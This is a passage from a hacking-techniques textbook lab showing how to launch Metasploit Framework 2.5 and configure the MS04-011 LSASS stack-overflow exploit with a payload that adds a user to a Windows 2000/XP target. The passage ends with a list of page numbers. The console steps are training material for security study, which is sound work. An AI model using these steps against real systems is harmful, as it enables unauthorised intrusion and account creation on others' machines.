5.tar.gz.
The files will uncompress into a new directory named framework-2.5.
Change to the new directory by typing cd framework-2.5 and pressing
Enter.
To execute the Metasploit Framework type:
./msfconsole
442 Practical Hacking Techniques and Countermeasures
The Metasploit startup screen is displayed. As in the Windows version
Metasploit not only identifies what version you are running but also how
many exploits and payloads are included.
To see what exploits are included type show exploits and press Enter.
Vulnerability Scanning 443
The exploits are listed.
For this example, Metasploit will be used to exploit the Microsoft LSASS
service by performing a stack overflow. This is done by typing:
use lsass_ms04_011
444 Practical Hacking Techniques and Countermeasures
The next step is to identify the payloads. This is done by typing show
payloads and pressing Enter.
In this lab we will attempt to add a user to the target system. To accomplish
this we need to use the win32_adduser payload. This is done by typing set
PAYLOAD win32_adduser and pressing Enter.
Vulnerability Scanning 445
The next step is to identify what targets are subject to this exploit. This is
done by typing show targets and pressing Enter.
This exploit works against:
Windows 2000 machines
Windows XP machines
As this exploit allows for an automatic detection of the target we set the
target by typing set TARGET 0 and pressing Enter.
Pages:
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165